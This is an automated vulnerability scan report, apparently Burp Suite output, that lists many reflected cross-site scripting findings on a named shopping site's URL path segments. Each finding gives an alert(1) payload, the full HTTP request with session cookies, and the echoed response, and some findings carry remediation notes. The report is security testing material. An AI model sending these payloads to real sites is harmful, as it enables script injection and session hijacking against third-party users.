The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 79bf1'-alert(1)-'70f948b9db2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/412075808279bf1'-alert(1)-'70f948b9db2/Art/2 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:37:20 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60150
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Home-Furnishings/412075808279bf1'-alert(1)-'70f948b9db2/Art/2'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 99692'-alert(1)-'1454fc4861e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/Art99692'-alert(1)-'1454fc4861e/2 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:42:04 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60254
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Home-Furnishings/4120758082/Art99692'-alert(1)-'1454fc4861e/2'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload de367'-alert(1)-'5c293ecee8a was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/Art/2de367'-alert(1)-'5c293ecee8a HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:46:01 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54939
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Home-Furnishings/4120758082/Art/2de367'-alert(1)-'5c293ecee8a'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2cef3"><a>b68671e9af6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping2cef3"><a>b68671e9af6/Home-Furnishings/4120758082/Bedroom-Accessories/51 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:09:46 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59894
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping2cef3"><a>b68671e9af6"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7abcd'-alert(1)-'cece5242a0c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping7abcd'-alert(1)-'cece5242a0c/Home-Furnishings/4120758082/Bedroom-Accessories/51 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:16:36 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60257
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping7abcd'-alert(1)-'cece5242a0c/Home-Furnishings/4120758082/Bedroom-Accessories/51'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2acdd'-alert(1)-'35281a32492 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings2acdd'-alert(1)-'35281a32492/4120758082/Bedroom-Accessories/51 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:20:18 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61202
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Home-Furnishings2acdd'-alert(1)-'35281a32492/4120758082/Bedroom-Accessories/51'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload e48f2<script>alert(1)</script>1528d971188 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Home-Furnishingse48f2<script>alert(1)</script>1528d971188/4120758082/Bedroom-Accessories/51 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:20:47 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61175
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Home Furnishingse48f2<script>alert(1)</script>1528d971188 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4c59d'-alert(1)-'fe6d4e8d198 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/41207580824c59d'-alert(1)-'fe6d4e8d198/Bedroom-Accessories/51 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:24:47 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61072
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Home-Furnishings/41207580824c59d'-alert(1)-'fe6d4e8d198/Bedroom-Accessories/51'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ac591'-alert(1)-'ff1539429cf was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/Bedroom-Accessoriesac591'-alert(1)-'ff1539429cf/51 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:30:30 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61174
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Home-Furnishings/4120758082/Bedroom-Accessoriesac591'-alert(1)-'ff1539429cf/51'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ff205'-alert(1)-'52f1f141fae was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/Bedroom-Accessories/51ff205'-alert(1)-'52f1f141fae HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:34:09 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54942
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Home-Furnishings/4120758082/Bedroom-Accessories/51ff205'-alert(1)-'52f1f141fae'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 13dfe'-alert(1)-'6349041a10c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping13dfe'-alert(1)-'6349041a10c/Home-Furnishings/4120758082/China-Glassware/7 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:27:59 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59829
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping13dfe'-alert(1)-'6349041a10c/Home-Furnishings/4120758082/China-Glassware/7'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6349e"><a>127442d98c4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping6349e"><a>127442d98c4/Home-Furnishings/4120758082/China-Glassware/7 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:16:21 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60436
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping6349e"><a>127442d98c4"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 662a8'-alert(1)-'0c55c544abd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings662a8'-alert(1)-'0c55c544abd/4120758082/China-Glassware/7 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:33:59 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61727
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Home-Furnishings662a8'-alert(1)-'0c55c544abd/4120758082/China-Glassware/7'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload dd353<script>alert(1)</script>6e43e896c14 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Home-Furnishingsdd353<script>alert(1)</script>6e43e896c14/4120758082/China-Glassware/7 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:34:44 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61690
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Home Furnishingsdd353<script>alert(1)</script>6e43e896c14 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d6c80'-alert(1)-'c950948c136 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082d6c80'-alert(1)-'c950948c136/China-Glassware/7 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
